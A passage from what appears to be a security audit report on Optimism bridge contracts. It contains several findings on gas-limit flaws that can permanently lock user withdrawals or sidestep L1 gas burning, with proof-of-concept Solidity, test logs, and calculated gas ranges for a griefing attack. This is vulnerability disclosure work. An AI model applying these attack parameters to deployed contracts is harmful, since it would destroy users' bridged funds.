Logs:
```

```
  bob's balance before
  0
  gas left after externall call
  11603
  success after finalize withdraw????
  false
  bob's balance after the function call
  0

Test result: ok. 2 passed; 0 failed; finished in 1.58ms
```

As you can see in the first test, when supplying enough gas for the external call, the test passes and bobs balance is changed to reflect the withdraw.

On the contrary, the second test which does not have sufficient gas for the external call. The test passes but bob's balance is never updated. This clearly shows that bob's funds are lost.

some things to note from the test:

1. Approximately 25,000 wei of gas is needed after the external call.
2. the 2nd test only had 11,603 gas remaining so the function reverts silently
3. Malicious user can take advantage of this and ensure the gas remaining after the external call

```
bool success = SafeCall.callWithMinGas(_target, _minGasLimit, _value, _message);
```

In RelayMessenge, is less than 25,000 wei in order to grief another user's withdrawal causing his funds to be permanently lost

the 25000 wei gas is the approximate amount of gas needed to complete the code execution clean up in `RelayMessenge` function call. (we use the word approximate because console.log also consumes some gas)

```
uint256 glBefore = gasleft();

console.log("gas left after externall call");
console.log(glBefore);

xDomainMsgSender = DEFAULT_L2_SENDER;

if (success) {
    successfulMessages[versionedHash] = true;
    emit RelayedMessage(versionedHash);
} else {
    failedMessages[versionedHash] = true;
    emit FailedRelayedMessage(versionedHash);
```

```
     if (tx.origin == ESTIMATION_ADDRESS) {
        revert("CrossDomainMessenger: failed to relay message");
    }
}

// Clear the reentrancy lock for `versionedHash`
reentrancyLocks[versionedHash] = false;

uint256 glAfter = gasleft();

console.log("gas needed after external call");
console.log(glBefore - glAfter);
```

below are the imports used to help us run this test. RelayMessagerReentrancy.sol

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import "forge-std/console.sol";

/**
 * @title SafeCall
 * @notice Perform low level safe calls
 */
library SafeCall {
    /**
     * @notice Perform a low level call without copying any returndata
     *
     * @param _target   Address to call
     * @param _gas      Amount of gas to pass to the call
     * @param _value    Amount of value to pass to the call
     * @param _calldata Calldata to pass to the call
     */
    function call(
        address _target,
        uint256 _gas,
        uint256 _value,
        bytes memory _calldata
    ) internal returns (bool) {
        bool _success;
        assembly {
            _success := call(
                _gas, // gas
                _target, // recipient
                _value, // ether value
                add(_calldata, 32), // inloc
```

```
                mload(_calldata), // inlen
                0, // outloc
                0 // outlen
            )
        }
        return _success;
    }

    /**
     * @notice Perform a low level call without copying any returndata. This
↪   function
     *         will revert if the call cannot be performed with the specified
↪   minimum
     *         gas.
     *
     * @param _target   Address to call
     * @param _minGas   The minimum amount of gas that may be passed to the call
     * @param _value    Amount of value to pass to the call
     * @param _calldata Calldata to pass to the call
     */
    function callWithMinGas(
        address _target,
        uint256 _minGas,
        uint256 _value,
        bytes memory _calldata
    ) internal returns (bool) {
        bool _success;
        assembly {
            // Assertion: gasleft() >= ((_minGas + 200) * 64) / 63
            //
            // Because EIP-150 ensures that, a maximum of 63/64ths of the
↪   remaining gas in the call
            // frame may be passed to a subcontext, we need to ensure that the
↪   gas will not be
            // truncated to hold this function's invariant: "If a call is
↪   performed by
            // `callWithMinGas`, it must receive at least the specified minimum
↪   gas limit." In
            // addition, exactly 51 gas is consumed between the below `GAS`
↪   opcode and the `CALL`
            // opcode, so it is factored in with some extra room for error.
            if lt(gas(), div(mul(64, add(_minGas, 200)), 63)) {
                // Store the "Error(string)" selector in scratch space.
                mstore(0, 0x08c379a0)
                // Store the pointer to the string length in scratch space.
                mstore(32, 32)
                // Store the string.
                //
```

```
                // SAFETY:
                // - We pad the beginning of the string with two zero bytes as
↪  well as the
                // length (24) to ensure that we override the free memory
↪  pointer at offset
                // 0x40. This is necessary because the free memory pointer is
↪  likely to
                // be greater than 1 byte when this function is called, but it
↪  is incredibly
                // unlikely that it will be greater than 3 bytes. As for the
↪  data within
                // 0x60, it is ensured that it is 0 due to 0x60 being the zero
↪  offset.
                // - It's fine to clobber the free memory pointer, we're
↪  reverting.
                mstore(88,
↪  0x0000185361666543616c6c3a204e6f7420656e6f75676820676173)

                // Revert with 'Error("SafeCall: Not enough gas")'
                revert(28, 100)
            }

            // The call will be supplied at least (((_minGas + 200) * 64) / 63)
↪  - 49 gas due to the
            // above assertion. This ensures that, in all circumstances, the
↪  call will
            // receive at least the minimum amount of gas specified.
            // We can prove this property by solving the inequalities:
            // ((((_minGas + 200) * 64) / 63) - 49) >= _minGas
            // ((((_minGas + 200) * 64) / 63) - 51) * (63 / 64) >= _minGas
            // Both inequalities hold true for all possible values of `_minGas`.
            _success := call(
                gas(), // gas
                _target, // recipient
                _value, // ether value
                add(_calldata, 32), // inloc
                mload(_calldata), // inlen
                0x00, // outloc
                0x00 // outlen
            )
        }
        return _success;
    }
}


contract RelayMessagerReentrancy {
```


```
    mapping(bytes32 => bool) failedMessages;

    mapping(bytes32 => bool) successfulMessages;

    mapping(bytes32 => bool) reentrancyLocks;

    address DEFAULT_L2_SENDER = address(1000);
    address ESTIMATION_ADDRESS = address(2000);

    address xDomainMsgSender;

    /**
     * @notice Emitted whenever a message is successfully relayed on this chain.
     *
     * @param msgHash Hash of the message that was relayed.
     */
    event RelayedMessage(bytes32 indexed msgHash);

    /**
     * @notice Emitted whenever a message fails to be relayed on this chain.
     *
     * @param msgHash Hash of the message that failed to be relayed.
     */
    event FailedRelayedMessage(bytes32 indexed msgHash);

    address public otherContract;

    constructor(address _otherContract) {
        otherContract = _otherContract;
    }

    function _isOtherMessenger() internal view returns (bool) {
        // return msg.sender == otherContract;
        return true;
    }

     /**
     * @notice Encodes a cross domain message based on the V0 (legacy) encoding.
     *
     * @param _target Address of the target of the message.
     * @param _sender Address of the sender of the message.
     * @param _data   Data to send with the message.
     * @param _nonce  Message nonce.
     *
     * @return Encoded cross domain message.
     */
    function encodeCrossDomainMessageV0(
        address _target,
```


```
        address _sender,
        bytes memory _data,
        uint256 _nonce
    ) internal pure returns (bytes memory) {
        return
            abi.encodeWithSignature(
                "relayMessage(address,address,bytes,uint256)",
                _target,
                _sender,
                _data,
                _nonce
            );
    }

    /**
     * @notice Encodes a cross domain message based on the V1 (current) encoding.
     *
     * @param _nonce    Message nonce.
     * @param _sender   Address of the sender of the message.
     * @param _target   Address of the target of the message.
     * @param _value    ETH value to send to the target.
     * @param _gasLimit Gas limit to use for the message.
     * @param _data     Data to send with the message.
     *
     * @return Encoded cross domain message.
     */
    function encodeCrossDomainMessageV1(
        uint256 _nonce,
        address _sender,
        address _target,
        uint256 _value,
        uint256 _gasLimit,
        bytes memory _data
    ) internal pure returns (bytes memory) {
        return
            abi.encodeWithSignature(
                "relayMessage(uint256,address,address,uint256,uint256,bytes)",
                _nonce,
                _sender,
                _target,
                _value,
                _gasLimit,
                _data
            );
    }


    function hashCrossDomainMessageV0(
```

```
        address _target,
        address _sender,
        bytes memory _data,
        uint256 _nonce
    ) internal pure returns (bytes32) {
        return keccak256(encodeCrossDomainMessageV0(_target, _sender, _data,
↪   _nonce));
    }

    function hashCrossDomainMessageV1(
        uint256 _nonce,
        address _sender,
        address _target,
        uint256 _value,
        uint256 _gasLimit,
        bytes memory _data
    ) internal pure returns (bytes32) {
        return
            keccak256(
                encodeCrossDomainMessageV1(
                    _nonce,
                    _sender,
                    _target,
                    _value,
                    _gasLimit,
                    _data
                )
            );
    }

    function relayMessage(
        uint256 _nonce,
        address _sender,
        address _target,
        uint256 _value,
        uint256 _minGasLimit,
        bytes calldata _message
    ) external payable {

        uint256 version = 0;

        if( _nonce > 10) {
            version = 1;
        }

        require(
            version < 2,
```

```
            "CrossDomainMessenger: only version 0 or 1 messages are supported at
↪   this time"
        );

        // If the message is version 0, then it's a migrated legacy withdrawal.
↪   We therefore need
        // to check that the legacy version of the message has not already been
↪   relayed.

        bytes32 oldHash = hashCrossDomainMessageV0(_target, _sender, _message,
↪   _nonce);

        if (version == 0) {
            require(
                successfulMessages[oldHash] == false,
                "CrossDomainMessenger: legacy withdrawal already relayed"
            );
        }

        bytes32 versionedHash = hashCrossDomainMessageV1(
            _nonce,
            _sender,
            _target,
            _value,
            _minGasLimit,
            _message
        );

         // Check if the reentrancy lock for the `versionedHash` is already set.
        if (reentrancyLocks[versionedHash]) {
            revert("ReentrancyGuard: reentrant call");
        }
        // Trigger the reentrancy lock for `versionedHash`
        reentrancyLocks[versionedHash] = true;

        if (_isOtherMessenger()) {
            // These properties should always hold when the message is first
↪   submitted (as
            // opposed to being replayed).
            assert(msg.value == _value);
            assert(!failedMessages[versionedHash]);
        } else {
            require(
                msg.value == 0,
                "CrossDomainMessenger: value must be zero unless message is from
↪   a system address"
            );
            require(
```


```
                failedMessages[versionedHash],
                "CrossDomainMessenger: message cannot be replayed"
            );
        }

        require(
            successfulMessages[versionedHash] == false,
            "CrossDomainMessenger: message has already been relayed"
        );

        xDomainMsgSender = _sender;

        bool success = SafeCall.callWithMinGas(_target, _minGasLimit, _value,
↪   _message);

        uint256 glBefore = gasleft();

        console.log("gas left after externall call");
        console.log(glBefore);

        xDomainMsgSender = DEFAULT_L2_SENDER;

        if (success) {
            successfulMessages[versionedHash] = true;
            emit RelayedMessage(versionedHash);
        } else {
            failedMessages[versionedHash] = true;
            emit FailedRelayedMessage(versionedHash);

             if (tx.origin == ESTIMATION_ADDRESS) {
                revert("CrossDomainMessenger: failed to relay message");
            }
        }

        // Clear the reentrancy lock for `versionedHash`
        reentrancyLocks[versionedHash] = false;

        uint256 glAfter = gasleft();

        console.log("gas needed after external call");
        console.log(glBefore - glAfter);

    }


}
```


portal.sol

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import "forge-std/console.sol";

import "./RelayMessagerReentrancy.sol";

contract Portal {

    address messenger;

    constructor(address _messenger) {
        messenger = _messenger;
    }

    function finalizeWithdraw(uint256 minGas, uint256 value, bytes memory data)
↪   public payable {

        bool success = SafeCall.callWithMinGas(
            messenger,
            minGas,
            value,
            data
        );

        console.log("success after finalize withdraw????");
        console.log(success);
    }

}
```

Below is a link to download a file containing the test and all associated files which you can use to replicate the test we have conducted above: https://drive.google.com/file/d/1Zpc7ue0LwWatOWjFH30r8RCtbY4nej2w/view?usp=share_link

Tool used

Manual Review

Recommendation

we recommend to add gas buffer back, change at least gas buffer from 200 to 20K or even higher gas buffer.

Discussion

GalloDaSballo

I think this is slightly different, but is basically dup of #40

hrishibhat

Sponsor comment: Tentatively marking this issue as false. The reporter is working off of outdated information (the PR description that the reporter reference was not the final implementation spec), though that may have not been entirely clear based off of the comments in the PR. In addition, the POC that was presented does not use the canonical set of contracts. The reporter is welcome to escalate this issue if they are able to replicate the issue on the canonical version of `contracts-bedrock`.

GalloDaSballo

Because we know that #40 is valid, as it will not account for the cost of CALL, I believe the finding to be valid

If the sponsor wishes to downgrade this due to POC, we could leave as Med, and the Watson can Escalate to have it re-evaluated as High (dup or #40)

GalloDaSballo

Recommend: Downgrade to Med Make this Primary Make #7 dup of this

GalloDaSballo

Partially following Sponsor advice, I believe the Watson showed the problem although has articulated in a less correct way

As such am downgrading to Unique Med

Issue M-6: Incorrect calculation of required gas limit during deposit transaction

Source: https://github.com/sherlock-audit/2023-03-optimism-judging/issues/9

Found by

HE1M, unforgiven

Summary

It is possible to bypass burning the gas on L1 if `_gasLimit` is accurately chosen between 21000 and used gas.

Vulnerability Detail

The gas that deposit transactions use on L2 is bought on L1 via a gas burn in `ResourceMeterin.sol`: https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/L1/OptimismPortal.sol#L432 https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/L1/ResourceMetering.sol#L162

There is also a condition on the parameter `_gasLimit` to protect against DoS attack: https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/L1/OptimismPortal.sol#L443

But, by using this limitation, it does not enforce to burn correct amount of gas on L1. Because, if the following condition is satisfied, the user will not burn any gas for the transaction on L2 (it only pays gas for the L1 transaction):

```
21000 <= _gasLimit <= [usedGas * max(block.basefee, 1 gwei) / prevBaseFee]
```

The condition `21000 <= _gasLimit` will satisfy the condtion: https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/L1/OptimismPortal.sol#L443

The condition `_gasLimit <= [usedGas * max(block.basefee, 1 gwei) / prevBaseFee]` will bypass the condition (so no gas will be burned on L1): https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/L1/ResourceMetering.sol#L161-L163

For instance, if a user provides a long bytes as `_data` parameter, the `usedGas` will be increased, so the margin between 21000 to `[usedGas * max(block.basefee, 1 gwei) / prevBaseFee]` will be increased as well. By choosing a `_gasLimit` in this range, the burning gas mechanism can be bypassed. If the `_gasLimit` is set to the minimum allowed value (21000), this transaction will be failed most probably on L2

due to not enough gas limit. All in all, the sequencer would not be compensated although he processed a long data.

Impact

- Using L2 resources without enough compensation.
- DoS

Code Snippet

Tool used

Manual Review

Recommendation

It is recommended to include the `_data` length as well as 21000 to the lower bound of gas limit:

```
require(_gasLimit >= 21_000 + _data.length * 16, "OptimismPortal: gas limit must
↪  cover instrinsic gas cost");
```

Discussion

GalloDaSballo

Sidestepping of cost, no loss of principal, agree with Med

Issue M-7: Causing users lose fund if bridging long message from L2 to L1 due to uncontrolled out-of-gas error

Source: https://github.com/sherlock-audit/2023-03-optimism-judging/issues/5

Found by

HE1M, obront

Summary

If the amount of gas provided during finalizing withdrawal transactions passes the check in `callWithMinGas`, it is not guaranteed that the relaying message transaction does not go out of gas. This can happen if the bridged message from L2 to L1 is long enough to increase the gas consumption significantly so that the predicted `baseGas` is not accurate enough.

Vulnerability Detail

During finalizing withdrawal transaction in `OptimismPortal.sol`, before calling `_tx.target`, it is checked if enough gas is provided `gasleft() >= ((_minGas + 200) * 64) / 63`, otherwise it will be reverted. https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/L1/OptimismPortal.sol#L397 https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/libraries/SafeCall.sol#L82

So far so good.

Suppose, enough gas is provided, so that check is passed during finalizing withdrawal transaction, and `finalizedWithdrawals[withdrawalHash]` will be set to `true` for this withdrawal hash.
https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/L1/OptimismPortal.sol#L383

If the `_tx.target` is `L1CrossDomainMessenger`, then the function `L1CrossDomainMessenger.relayMessage` will be called.
https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L291

It will again check there is enough gas to call the next target (like bridge or any other receiver address) during relaying the message.
https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L361

Here, it is not guaranteed to pass `gasleft() >= ((_minGas + 200) * 64) / 63`. If it is not passed, it will **revert**. In other words, it is not guaranteed that the transaction does not go out of gas during relaying the message.

https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/libraries/SafeCall.sol#L82

Then the whole transaction of `relayMessage` will be reverted so it will **not** set the flag `failedMessages[versionedHash]` as `true`.
https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L368

Since the function `relayMessage` is reverted, the low-level call in `OptimismPortal` will set `success` to `false`. Since, this return value is not handled (because of the design decisions), the transaction `OptimismPortal.finalizeWithdrawalTransaction` is executed successfully.
https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/L1/OptimismPortal.sol#L397

As a result, while the transaction `OptimismPortal.finalizeWithdrawalTransaction` sets the flag `finalizedWithdrawals[withdrawalHash]` as `true`, the flags `failedMessages[versionedHash]` and `successfulMessages[versionedHash]` are `false`. So, the users can not replay their message, and his fund is lost.

The question is that is there any possibility that `L1CrossDomainMessenger` reverts due to OOG, even though the required gas is calculated in L2 in the function `baseGas`?

Suppose, `G` is the gas provided to call `OptimismPortal.finalizeWithdrawalTransaction`. From line 319 to line 396, let's say some gas is consumed. I call it, `K1`. So, the `gasLeft()` when line 397 is called is equal to: `G - K1` https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/L1/OptimismPortal.sol#L319-L396

Suppose enough gas is provided to pass the check in `OptimismPortal`: `G - K1 >= ((_minGas + 200) * 64) / 63` So, it is necessary to have: `G >= ((_minGas + 200) * 64) / 63 + K1` https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/L1/OptimismPortal.sol#L397
https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/libraries/SafeCall.sol#L64

Please note that `_minGas` here is equal to the base gas calculated in L2: `_minGasLimit * (1016/1000) + messageLength * 16 + 200_000` in which, `_minGasLimit` is the amount of gas set by the user to be forwarded to the final receiver on L1. https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L423-L435 So, by replacing `_minGas` with `_minGasLimit * (1016/1000) + messageLength * 16 + 200_000`, we have: `G >= ((_minGasLimit * (1016/1000) + messageLength * 16 + 200_000 + 200) * 64) / 63 + K1`

So, the amount of gas available to `L1CrossDomainMessenger` will be: `(G - K1 - 51)*(63/64)` Please note this number is based on the estimation of gas consumption explained in the comment:

> // Because EIP-150 ensures that, a maximum of 63/64ths of the remaining gas in the call // frame may be passed to a subcontext, we need to ensure that the gas will not be // truncated to hold this function's invariant: "If a call is performed by // `callWithMinGas`, it must receive at least the specified minimum gas limit." In // addition, exactly 51 gas is consumed between the below `GAS` opcode and the `CALL` // opcode, so it is factored in with some extra room for error.

In the function `L1CrossDomainMessenger.relayMessage`, some gas will be consumed from line 299 to line 360. For simplicity, I call this amount of gas `K2 + HashingGas`, i.e. the consumed gas is separated for later explanation. In other words, the **sum of** consumed gas from line 299 to 303 and the consumed gas from line 326 to 360, is called `K2`, and the consumed gas from line 304 to line 325 is called `HashingGas`.

- ConsumedGas(L299 to L303 + L326 to L360) = `K2` https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L299-L303 https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L326-L360
- ConsumedGas(L304 to L325) = `HashingGas` https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L304-L325

So, the `gasLeft()` in line 361 will be: `(G - K1 - 51)*(63/64) - K2 - HashingGas`

To pass the condition `gasleft() >= ((_minGas + 200) * 64) / 63` in `L1CrossDomainMessenger`, it is necessary to have: `(G - K1 - 51)*(63/64) - K2 - HashingGas >= ((_minGas + 200) * 64) / 63` **Please note** that, `_minGas` here is equal to `_minGasLimit` which is the amount of gas set by the user to be forwarded to the final receiver on L1. So, after simplification: `G >= [((_minGasLimit + 200) * 64) / 63 + K2 + HashingGas] *(64/63) + 51 + K1`

All in all:

- To pass the gas check in `OptimismPortal`: `G >= ((_minGasLimit * (1016/1000) + messageLength * 16 + 200_000 + 200) * 64) / 63 + K1`
- To pass the gas check in `L1CrossDomainMessenger`: `G >= [((_minGasLimit + 200) * 64) / 63 + K2 + HashingGas] *(64/63) + 51 + K1`

If, `G` is between these two numbers (bigger than the first one, and smaller than the second one), it will pass the check in `OptimismPortal`, but it will revert in `L1CrossDomainMessenger`, as a result it is possible to attack.

Since, K1 and K2 are almost equal to 50_000, after simplification:

- `G >= (_minGasLimit * (1016/1000) + messageLength * 16 ) * (64 / 63) + 253_378`

- `G >= (_minGasLimit * (64 / 63) + HashingGas) *(64/63) + 101_051`

So it is necessary to satisfy the following condition to be able to attack (in that case it is possible that the attacker provides gas amount between the higher and lower bound to execute the attack): (_minGasLimit * (1016/1000) + messageLength * 16) * (64 / 63) + 253_378 < (_minGasLimit * (64 / 63) + HashingGas) *(64/63) + 101_051`After simplification, we have:`messageLength < (HashingGas - 150_000) / 16'

Please note that the `HashingGas` is a function of `messageLength`. In other words, the consumed gas from Line 304 to 325 is a function of `messageLength`, the longer length the higher gas consumption, but the relation is not linear, it is exponential.**

Please consider that if the `version` is equal to zero, the hashing is done twice (one in `hashCrossDomainMessageV0`, and one in `hashCrossDomainMessageV1`): https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L307-L324

So, for version zero, the condition can be relaxed to: `messageLength < (HashingGas * 2 - 150_000) / 16`

The calculation shows that if the `messageLength` is equal to 1 mb for version 0, the gas consumed during hashing will be around 23.5M gas (this satisfies the condition above). While, if the `messageLength` is equal to 512 kb for version 0, the gas consumed during hashing will be around 7.3M gas (this does not satisfy the condition above marginally).

A short summary of calculation is:

`messageLength`= 128 kb, `HashingGas for v1`= 508_000, `HahingGas for v0`= 1_017_287, attack **not** possible `messageLength`= 256 kb, `HashingGas for v1`= 1_290_584, `HahingGas for v0`= 2_581_168, attack **not** possible `messageLength`= 512 kb, `HashingGas for v1`= 3_679_097, `HahingGas for v0`= 7_358_194, attack **not** possible `messageLength`= 684 kb, `HashingGas for v1`= 5_901_416, `HahingGas for v0`= 11_802_831, attack **possible** `messageLength`= 1024 kb, `HashingGas for v1`= 11_754_659, `HahingGas for v0`= 23_509_318, attack **possible**

Which can be calculated approximately by:

```
function checkGasV1(bytes calldata _message)
        public
        view
        returns (uint256, uint256)
```

```
    {
        uint256 gas1 = gasleft();
        bytes32 versionedHash = Hashing.hashCrossDomainMessageV1(
            0,
            address(this),
            address(this),
            0,
            0,
            _message
        );
        uint256 gas2 = gasleft();
        return (_message.length, (gas1 - gas2));
    }
```

```
function checkGasV0(bytes calldata _message)
        public
        view
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 gas1 = gasleft();
        bytes32 versionedHash1 = Hashing.hashCrossDomainMessageV0(
            address(this),
            address(this),
            _message,
            0
        );
        uint256 gas2 = gasleft();
        uint256 gas3 = gasleft();
        bytes32 versionedHash2 = Hashing.hashCrossDomainMessageV1(
            0,
            address(this),
            address(this),
            0,
            0,
            _message
        );
        uint256 gas4 = gasleft();
        return (_message.length, (gas1 - gas2), (gas3 - gas4));
    }
```

It means that if for example the `messageLength` is equal to 684 kb (mostly non-zero, only 42 kb zero), and the message is version 0, and for example the `_minGasLimit` is equal to 21000, an attacker can exploit the user's withdrawal transaction by

providing a gas meeting the following condition: `(_minGasLimit * (1016/1000) + 684 * 1024 * 16 ) * (64 / 63) + 253_378 < G < (_minGasLimit * (64 / 63) + 11_802_831) *(64/63) + 101_051` After, replacing the numbers, the provided gas by the attacker should be: `11_659_592 < G < 12_112_900` So, by providing almost 12M gas, it will pass the check in `OptimismPortal`, but it will revert in `L1CrossDomainMessenger` due to OOG, as a result the user's transaction will not be allowed to be replayed.

Please note that if there is a long time between request of withdrawal transaction on L2 and finalizing withdrawal transaction on L1, it is possible that the gas price is low enough on L1, so economically reasonable for the attacker to execute it.

In Summary:

When calculating the `baseGas` on L2, only the `minGasLimit` and `message.length` are considered, and a hardcoded overhead is also added. While, the hashing mechanism (due to memory expansion) is exponentially related to the length of the message. It means that, the amount of gas usage during relaying the message can be increased to the level that is higher than calculated value in `baseGas`. So, if the length of the message is long enough (to increase the gas significantly due to memory expansion), it provides an attack surface so that the attacker provides the amount of gas that only pass the condition in `OptimismPortal`, but goes out of gas in `L1CrossDomainMessenger`.

Impact

Users will lose fund because it is set as finalized, but not set as failed. So, they can not replay it.

Code Snippet

Tool used

Manual Review

Recommendation

If all the gas is consumed before reaching to L361, the vulnerability is available. So, it is recommended to include memory expansion effect when calculating `baseGas`.

Discussion

hrishibhat

Sponsor comment: This is similar to issue #96 whereby a withdrawal with a gas limit configured to be too low can be bricked if the call to the XDM silently fails due to OOG.

GalloDaSballo

Making this primary